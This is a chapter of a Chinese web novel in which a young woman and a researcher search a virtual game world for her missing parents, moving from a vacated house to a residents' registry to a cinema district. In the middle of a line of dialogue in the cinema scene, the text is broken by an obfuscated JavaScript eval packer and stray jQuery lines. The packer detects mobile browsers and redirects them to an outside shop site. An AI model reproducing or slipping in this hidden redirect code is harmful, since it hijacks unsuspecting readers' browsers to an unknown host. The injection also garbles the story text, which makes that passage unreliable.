餐厅里，时度把资料芯片推给青葵。
青葵捏起那枚薄得透光的芯片，唇角先扬了起来。昨晚才开口，今天资料已经躺在她掌心。
“你们研究院的效率真没话说，时研究员。”
“研究院掌握的所有内部资料和社游公司开放档案都在里面。你先看这些，还想要什么再告诉我，我想想办法。”
青葵将芯片夹在指间，眉梢轻轻一挑，语气有意拖长，“辛苦了~作为报答，就尽情地把我当作观察样品吧~”
隔着餐桌冲他眨了下眼。
时度眼皮一跳，还是不习惯青葵跳脱的性格，随即垂下眼，若无其事地继续喝羹。
青葵一边吃饭，一边翻看传到终端里的资料。看到一些关键信息，筷子就停在嘴边，神情专注。
一场安静的饭局快结束的时候，终端忽然震了一下。
青葵看清消息，猛地坐直，手肘险些撞翻水杯。
“时度，有人联系我，他说他认识我爸妈，跟他们做过邻居！”
她的心脏一下一下撞着胸口，脸颊红扑扑的。
“他们真的在游戏里，我的猜测没有错，我找到他们了！我是在做梦吗？他把坐标发过来了，说在静水区等我，我们快走！”
时度难得也有些高兴，不过还是冷静地问：“你应该和他确认一下，他什么时候和你父母做的邻居。”
如果是在他们失踪前，这条线索就没有意义。
青葵脸上的笑僵了半秒。她低头把消息从头到尾重读一遍，刚才被兴奋略过去的时间标记落进眼里，终于放下心来。
“他说‘今年’，你先别问了，我们过去再说。”
******
两人进入社游。
发信人是个三十来岁的瘦男人，两撇小胡子修得一丝不乱，穿着一套烟灰色三件套，领结和袖扣都考究得与周围的高级住宅相称。衣服很体面，人却总微微含着肩，青葵一看过去，他便捏紧手里的文明杖，目光往旁边躲了一下。
小胡子把他们带到静水区的一栋双层住宅前。住宅立在一圈齐腰的冬青篱笆后，天蓝色木墙配着白色窗框。门廊前摆着一张白色摇椅，沿篱笆开着蓝紫绣球和白木香，花枝松松垂过栅栏。廊柱边则种着迷迭香、薄荷和两株矮柠檬，陶盆里插着一排字迹工整的小木牌。
“就是这里！”青葵深吸一口气，视线在院子里一寸寸扫过，“绣球和木香是我妈喜欢的，迷迭香、薄荷和矮柠檬是我爸会种的，是他们的房子。”
推开白色大门时，她脑子里甚至已经响起父亲问她怎么找到这里的声音。门轴轻响，迎面却只有空荡的客厅。浅色木地板上留着家具压出的淡痕，墙面挂过相框的地方比四周白了一块，楼梯向上延伸进一片安静的昏暗。
青葵僵在门槛上。怎么会是空的？
小胡子慢半拍地跟到门边，先扶正领结，又讷讷开口：“他们两个月前搬走了。”
他指指对面，“他们住这里，我住那里。最近我还奇怪，好久没见他们出门，问了管理机器人，才知道这房子两个月前就空了。”
“两个月前”四个字砸下来，青葵耳边嗡了一声。一路上撑着她越走越快的那口气顷刻散了，她猛地转身，逼近一步。
“你知不知道他们什么时候搬来的？住了多久？跟他们说过什么话吗？他们经常出门吗？你见过他们去哪里？”
问题一个接一个砸过去。小胡子张了几次嘴，汗从鬓角滑下来，视线在空屋和青葵之间乱转。
“你、你慢一点……他们大概住了半年，我只在院子里见过几次。偶尔打招呼，不算熟。出门去哪里，我真的没注意。”
“你住在隔壁，却连他们常往哪个方向走都没注意？你能记得他们搬家前是什么状态，有什么和平常不一样的表现吗？他们住在这里的时候生活看起来怎么样，过得开不开心，你怎么不说话！不管什么方面，你总该记得一样吧？！”
青葵知道自己正在逼他，可停不下来。只要他再想起一点，哪怕一点，就能把那扇已经关上的门重新撬开。她盯着小胡子的嘴，几乎在等一个救命的字从里面掉出来。
小胡子张着嘴，半晌只挤出一句：“我、我想不起来了，我就是一个邻居啊。”
“青葵，你礼貌一点。”
青葵盯着邻居。
“你是真人吗？”
“什么？”
“我问你是不是现实中的玩家，还是系统临时捏出来的NPC。你可能只是几段代码、一套反应模板，你当然什么都不知道！”
她转向时度。
“他都不一定是人类。这只是个游戏，我问得重一点又能怎么样？”
时度看了她一眼。青葵竟从那一眼里读出一句无声的反问：有什么区别？
邻居不安地问：“她怎么了？”
“不好意思，她情绪激动了一些。我们急着找人，你还能想到别的信息吗？”
小胡子抹着汗，嘴唇动了动。
青葵垂下眼。阳光从没有窗帘的窗户里照进来，墙上那块相框留下的浅印，像一个被匆忙揭走的答案。她忽然分不清，假的究竟是这栋房子，还是自己方才那一瞬间以为父母就在楼上的欢喜。可胸口的失望是真的，迁怒的后悔也是真的。
“时度。”
“嗯。”
“我讨厌这个游戏。”
邻居擦了擦汗。
“我也不是白拿你酬金。这个社区是高级住宅区，居民迁入迁出都有登记。你们去社区管理处查名册，至少能知道他们搬去了哪个片区。”
******
社区管理处位于静水区中央的钟楼下，是一栋奶白色的石砌小楼。
柜台后的NPC抬起头，他是名副其实的社游制作的路人，制服上的铜扣一丝不苟，面孔平整得几乎没有任何记忆点。听完来意，他在半空轻点两下，居民名册像一摞透明卡片，在三人面前层层展开。
“查询迁出记录需要姓名、原住址和大致时间，仅本小区业主拥有权限。”
小胡子连忙上前，把文明杖夹到腋下，“我要查询住我对面的……”
“青衡远和林薇。”青葵截过话，“他们的原住址是静水社区十七号，迁出时间大约在两个月前。”
NPC警察将两人的姓名拖入检索栏。一圈蓝光从小胡子身上扫过，确认了他的业主权限。几秒后，一张登记表从层叠的名册里浮出来，停在他们面前。
“身份关系与寻人记录已核验。记录显示，两名业主于两个月前一同迁出，目的地登记为影视区。这是前业主的登记表。”
青葵伸手去接，登记栏里的字横平竖直，很熟悉，小学时候她曾经拿这份字迹当字帖，描摹练字。
“是我爸爸的字迹。”她摩挲那行字，指尖停在目的地一栏，上面写着“影视区”。
又有了下一条线索，她却没有像先前那样兴奋。谁知道那里是不是又是一场失望。
时度站在她身侧，“去影视区吧。至少现在能确定他们真的在游戏世界。青葵，你很了解他们，你的判断没有错。”
青葵递回登记表，点了一下头。
离开静水区，他们来到影视区的选片大厅。这栋建筑高得看不见穹顶，数不清的巨幅海报在半空像胶卷展开，战争、爱情、怪兽和卡通人物轮番上演。
大大小小的二维影映厅沿弧形长廊向远处排开，散场的人潮不断涌出，又有下一批观众从他们身边擦肩走过。
青葵在人群中左右张望，从没觉得世界上有这么多张脸。她索性举起寻人启事的光屏，和时度踏进一间间影映厅。
其中一间正放到电影最暗的一幕。青葵的光屏一亮，几十颗脑袋像被同一根线牵着，齐刷刷转了过来。
“看电影还开光屏，有没有素质，不看滚蛋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940276|213900||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
！”
骂声从黑暗里传来，青葵咬了咬牙。
时度虚护住她险险踏空阶梯的脚步，“这里没有，去下一间吧。”
走到下一扇门前，青葵停了下来，头脑逐渐冷静，“不找了，我真是晕了，我爸妈怎么可能在普通影映厅里连续看两个月电影？我看见打开的门就忍不住冲进去，总觉得他们会不会就在里面，刚刚居然真打算一间间找完，就跟他们失踪的那天一样。”
她关掉光屏，手臂垂下来。刚才每推开一扇门，她都以为父母会在下一排座位间回头。希望被一扇扇门反复点亮，又反复掐灭，最后只剩下光屏关闭后的一点刺眼残影。
时度走到她身侧，“你刚拿到第一条线索，先排除最直观的可能，这不算浪费时间。”
“你早就觉得找不到，对吧？你知道这样做找不到他们。”
“或许可以，只是概率很低。”
回到大厅，青葵收起寻人光屏，站在售票台旁缓了口气。散场提示音接连响起，观众从各个影映厅涌出来，几名服务机器人在人群中穿梭。
离他们最近的一名机器人正回收观众交还的虚拟电影票。薄薄的票据从机械手间飞快掠过，被皮筋绷成整齐的一沓，再码进铁盒。纸边摩擦的沙沙声淹没在大厅的喧闹里，像某种不起眼的倒计时。
时度盯着铁盒看了两秒，想起检查资料时浏览过的社游数据存储模式。
社游将意识与信息转化成游戏世界里的实体。这些没有即时销毁的电影票，是观影数据的临时载体。如果当下的批次没有达到批量存写的阈值，这些数据便继续以实体形态保存在游戏内部，直到完成集中存写，票据才会从游戏中清除。
时度看了一眼机器人胸前的名牌，把它按住，“小菜，你遵守机器人宣言吗？”
机器人圆润的脑袋转向他，脸部屏幕亮起两点蓝光。
“没错，我永远不会向人类撒谎。尽全力满足人类除了伤害自己和他人的一切要求。”
“这些电影票据，上一次集中存写是什么时候？”
小菜的脸部屏幕滚过一行检索字符。
“三个月前。”
时度的肩线松了一点，他看向青葵，“你父母的票据应该还在这一批数据里。”
青葵看见时度忽然手抓机器人，先是一脸茫然，她的视线在机器人、铁盒和时度脸上游移片刻，终于明白过来，瞳孔里刚熄灭的光重新被那扎整整齐齐的电影票点亮。
“小菜，带我们调取过去两个月内的全部票据！快点！”
“好的。”机器人小菜转身带路。售票台后的墙壁无声滑开，露出一间没有窗的票据室。四面墙排列着密密麻麻的铁盒，从地面一直叠到天花板。小菜接连取下两个月的票盒，很快在青葵面前码出一堵半人高的矮墙。
青葵面对矮墙：“……”
“帮我们一起找青衡远和林薇的电影票。”
“好的。”小菜眼中的蓝光从一张张票面上扫过。票据翻动得越来越快，几乎连成一场白色的骤雨。最后一张落回铁盒时，机械音随之响起。
“当前回收批次内未发现匹配票据。请确认目标身份标识无误，或扩大检索时间范围。”
青葵张了张嘴，下意识地看向时度。
“身份没错，时间也没错……没有他们的票据。”
“有两种可能。你父母搬离那栋房子，没有来影视区，或者，他们一直在这里，还没有离开。”
“既然他们有计划，我相信他们来了。”青葵咬唇，“如果他们在这里待了两个月，以我对我爸妈的了解，他们去的不会是普通影映厅，而是电影内部的虚拟空间。虚拟空间由观众开启，但观众进入后，入口就会关闭。如果我爸妈进了某部电影的虚拟空间，按照社游的隐私规则，我们进不去。”
青葵顿了一下，“但也不是没有办法……我知道一个人，他也许可以帮忙。”